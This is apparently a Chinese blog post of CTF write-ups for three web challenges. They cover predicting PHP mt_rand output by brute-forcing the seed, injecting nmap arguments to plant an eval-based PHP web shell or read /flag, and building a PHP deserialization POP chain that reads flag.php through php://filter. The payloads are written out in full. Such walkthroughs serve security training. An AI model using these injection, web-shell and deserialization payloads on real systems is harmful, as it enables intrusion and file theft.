[GWCTF 2019]枯燥的抽奖
访问check.php找到源码:
<?php #这不是抽奖程序的源代码!不许看! header("Content-Type: text/html;charset=utf-8"); session_start(); if(!isset($_SESSION['seed'])){ $_SESSION['seed']=rand(0,999999999); } mt_srand($_SESSION['seed']); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 10); echo "<p id='p1'>".$str_show."</p>"; if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; } } show_source("check.php");
这里使用了php的伪随机数,由于伪随机数存在可预测性,只需要找到mt_srand()所用的种子即可。这里使用到了php_mt_seed(https://www.openwall.com/php_mt_seed/)
根据提供的前几位,将其处理为php_mt_seed可以识别的格式:
php_mt_seed expects 1, 2, 4, or more numbers on its command line. The numbers specify constraints on mt_rand() outputs.
When invoked with only 1 number, that's the first mt_rand() output to find seeds for.
When invoked with 2 numbers, those are the bounds (minimum and maximum, in that order) that the first mt_rand() output should fall within.
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
When invoked with 5 or more numbers, each group of 4 and then the last group of 1, 2, or (usually) 4 are processed as above, where each group refers to a corresponding mt_rand() output.
这里使用了官方wp中的脚本来处理:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='uszkTtBiKf' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print(res)
之后放入php_mt_seed来爆破随机数种子:
./php_mt_seed 20 20 0 61 18 18 0 61 25 25 0 61 10 10 0 61 55 55 0 61 19 19 0 61 37 37 0 61 8 8 0 61 46 46 0 61 5 5 0 61 Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 Version: 3.0.7 to 5.2.0 Found 0, trying 0xfc000000 - 0xffffffff, speed 401.5 Mseeds/s Version: 5.2.1+ Found 0, trying 0x22000000 - 0x23ffffff, speed 31.9 Mseeds/s seed = 0x23e10ad1 = 601950929 (PHP 7.1.0+) Found 1, trying 0x3e000000 - 0x3fffffff, speed 30.1 Mseeds/s
种子为601950929,放入php中用题目的源码跑一遍:
<?php mt_srand(601950929); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str=''; $len1=20; for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } $str_show = substr($str, 0, 20); echo "<p id='p1'>".$str_show."</p>";
[网鼎杯 2020 朱雀组]Nmap
网页可以进行一些基本的nmap操作,猜测可能是直接拼接nmap命令。
简单fuzz一下,发现php关键字被ban掉了,这里可以使用php短标签<?=
来绕过
获取flag主要有两种方法,一种是上传一个shell,通过phtml来绕过对php后缀的控制,一种是直接利用nmap读取/flag文件,两种方法都要使用nmap的-oG/-oN标签来实现文件写入,通过两个单引号来闭合原有的引号。
方法一: ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
方法二: ' -iL /flag -oN hack.txt '
//-iL可以实现文件的读取
[MRCTF2020]Ezpop
https://www.cnblogs.com/BOHB-yunying/p/12583725.html
一个比较典型的反序列化题:
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
一通分析之后发现最后是要靠include+php filter来完成flag文件的读取的,因此可以反向来构造一下pop链,有一个和去年百越杯很像的地方就是通过preg_match来访问的对象都会被当成字符串来处理,因此会触发__toString()
这里的exp是直接使用的引用链接中的:
<?php class Show{ public $source; public $str; public function __construct(){ $this->str=new Test(); $this->str->p=new Modifier(); } } class Test{ public $p; } class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } $a=new Show(); $a->source=new Show(); echo serialize($a);
poc链是:
Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()
需要注意的是,由于这里出现了private和protected对象,因此会产生\0字符,在粘贴到浏览器的时候,会变成%20,无法正常运行,因此要手动把%20改成%00
Comments | NOTHING